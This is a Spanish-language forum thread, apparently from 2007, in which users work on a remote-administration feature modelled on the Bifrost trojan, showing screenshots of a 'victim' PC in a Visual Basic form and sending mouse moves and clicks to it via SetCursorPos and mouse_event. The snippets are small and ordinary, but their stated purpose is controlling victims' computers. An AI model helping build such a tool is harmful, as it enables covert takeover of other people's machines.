 Autor
|
Tema: image o picture... (Leído 2,040 veces)
|
vivachapas
 Desconectado
Mensajes: 612
|
como pongo una imagen en un picture... o en un image... no se q me conviene para hacer (empezar a hacer) una funcion como la del bifrost... para poder hacer clicks en la pantalla de la victima...con screenshot y eso... los screenshot ya los pude hacer con el codigo de EON... tb recibirlos.. pero no se como cargarlos para verlos en un picture y poder hacer clicks...
si me ayudan muchas gracias...
|
|
|
|
|
En línea
|
|
|
|
Jareth
Desconectado
Mensajes: 334
|
Buah lo del raton lo tenia pero lo borré,voy a ver si lo encuentro. Para cargarlo es asi: Form4.Image1.Picture = LoadPicture("C:\captura1.jpg")
|
|
|
|
|
En línea
|
|
|
|
|
|
Jareth
Desconectado
Mensajes: 334
|
A mi me va bien el image por el stretch que ajusta la imagen auto. Por cierto lo del raton: Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
SetCursorPos X, Y
End Sub
Asi me envia el raton al quinto pino,no deberia moverlo donde esta?O igual lo mueve en relacion a las coordenadas del form,es decir si esta abajo a la izquierda del form lo mueve abajo a la izquierda de la pantalla,como lo tienes tu?
|
|
|
|
« Última modificación: 3 Abril 2007, 00:41 am por Jareth »
|
En línea
|
|
|
|
|
~~
|
Explicate un poco mejor.. Lo q hay q hacer es calcular las coorenadas respecto del piture y en el pc victima por llamarlo asi moverlo a esas coordenadas respecto de la pantalla..
|
|
|
|
|
En línea
|
|
|
|
vivachapas
Desconectado
Mensajes: 612
|
ya lo pruebo!! perodonen xq no conteste nada pero hoy tuve un dia agitado... jeje
|
|
|
|
|
En línea
|
|
|
|
vivachapas
Desconectado
Mensajes: 612
|
la parte de hacer click en el image y q el mouse se mueva a ese punto en el server va perfecto pero no puedo hacer q haga click en ese punto el codigo es: Private Declare Sub mouse_event Lib "user32.dll" (ByVal dwFlags As Long, ByVal dX As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Const MOUSEEVENTF_ABSOLUTE = &H8000
Const MOUSEEVENTF_LEFTDOWN = &H2
Const MOUSEEVENTF_LEFTUP = &H4
Const MOUSEEVENTF_MIDDLEDOWN = &H20
Const MOUSEEVENTF_MIDDLEUP = &H40
Const MOUSEEVENTF_MOVE = &H1
Const MOUSEEVENTF_RIGHTDOWN = &H8
Const MOUSEEVENTF_RIGHTUP = &H10
Const MOUSEEVENTF_WHEEL = &H80
Const MOUSEEVENTF_XDOWN = &H100
Const MOUSEEVENTF_XUP = &H200
Const WHEEL_DELTA = 120
Const XBUTTON1 = &H1
Const XBUTTON2 = &H2
Case "Pos"
A = vData(1)
B = vData(2)
x = SetCursorPos(A, B)
q esta mal?? lo tengo todo en el form del server |
|
|
|
|
En línea
|
|
|
|
|
~~
|
Pues q solo colocas el cursor, no le dices q haga click: mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 |
|
|
|
|
En línea
|
|
|
|
vivachapas
Desconectado
Mensajes: 612
|
si... perdonen es q justo habia modificado el codigo y no me di cuenta... el error es q ponia el boton derecho y era el izq... ahora lo cambie y hace el click pero en otro lugar... si pongo para q se posicione se posiciona exactamente en el lugar... pero cuando le agrego mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 se posiciona mal... muy a los extremos... |
|
|
|
« Última modificación: 3 Abril 2007, 22:42 pm por vivachapas »
|
En línea
|
|
|
|
vivachapas
Desconectado
Mensajes: 612
|
 nadie sabe?? q cagadon... me lo posiciona barbaro pero el problema es exactamente cuando pongo q haga click... cambia todo se mueve a cualquier lado... las apis las pude en un modulo... todo bien creeria... 
|
|
|
|
|
En línea
|
|
|
|
|
 |
